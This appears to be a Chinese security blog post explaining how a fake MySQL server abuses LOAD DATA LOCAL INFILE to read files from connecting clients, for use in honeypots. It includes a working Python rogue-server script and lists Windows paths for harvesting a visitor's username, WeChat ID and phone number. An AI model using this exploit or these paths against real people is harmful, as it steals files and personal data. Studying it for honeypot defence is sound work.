目录
Part1 前言
在护网中看到甲方的蜜罐感觉很好玩,就想着自己也搭建一个。然后就看到很多文章讲述用蜜罐获取手机号了什么的,感觉很神奇,就研究了研究。
蜜罐获取手机号信息其实就是一个mysql的任意文件读取漏洞,关于这个漏洞已经出现很久了,晚上也有很多关于这个漏洞的文章。但是对于一些入行晚的师傅,可能还不是太了解。本篇文章就来讲述一下mysql蜜罐的原理。
Part2 原理
伪造一个mysql服务器,当攻击者尝试连接的时,可以读取攻击者主机的任意文件。
主要是由于mysql的LOAD DATA INFILE 语法
load data infile 的作用是数据库读取一个文件内容导入到数据库表中,而如果使用load data local infile 则数据库从客户机读取文件,导入到表中。
Part3 mysql数据包分析
1、登陆mysql,并进行抓包
2、通过分析数据包可以发现,在tcp握手成功之后,mysql服务器返回了一个Greeting包。
3、当客户机收到Greeting包后,客户机向mysql服务器发送了一个login request包进行登陆。 4、mysql服务器收到login包后进行验证,正确了则返回一个ok的响应包 5、之后客户端发送一个初始化的查询语句,服务端收到后进行回应
至此,客户端登陆成功。
看到这,想一想如果我们伪造一个mysql服务端,按照mysql的处理流程进行回包,是不是就伪造了一个服务器呢。
那如何获取客户端的文件呢,我们在客户端执行load data local infile语句进行抓包查看。 1、在客户端执行load data local infile "/etc/passwd" into table 表名 fields terminated by '\n';进行抓包查看。
2、查看数据包,发现客户端向服务器发送了查询语法
3、服务端收到后把查询的文件名返回给客户端 4、之后客户端把这个文件的内容返回给mysql服务器 5、mysql服务端收到后返回一个ok的应答包 通过分析数据包,我们发现当客户端发送查询语法=》服务端返回文件名=》客户端返回文件内容。 此时我们就可以通过伪造mysql服务器,在被害者连接服务器时身份认证,问候包发送完成后,回一个带有load data infile 标志位的包,即可读取被害者的文件。
附上一个来自https://xz.aliyun.com/t/3973给出的脚本
#!/usr/bin/python
#coding: utf8
import socket
# linux :
filestring = "/etc/hosts"
# windows:
#filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding + "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
Part4 蜜罐搭建
我这里用的是HFish蜜罐进行的搭建,部署流程反制溯源_欺骗防御_主动防御-HFish免费蜜罐平台
登陆链接:https://[ip]:4433/web/
账号:admin
密码:HFish2021
在节点管理里可以设置蜜罐,在里面可以修改读取的文件
测试一下蜜罐:
成功读取到数据。
至于读取手机号微信id等信息,只需要修改读取的文件路径即可
1.从C:/Windows/PFRO.log中读取用户名。
2.从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取微信_id。
3.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号。
Part5 资料参考
MySQL蜜罐获取攻击者微信ID - FreeBuf网络安全行业门户
https://xz.aliyun.com/t/3973
“D&X 安全实验室”
专注渗透测试技术
全球最新网络攻击技术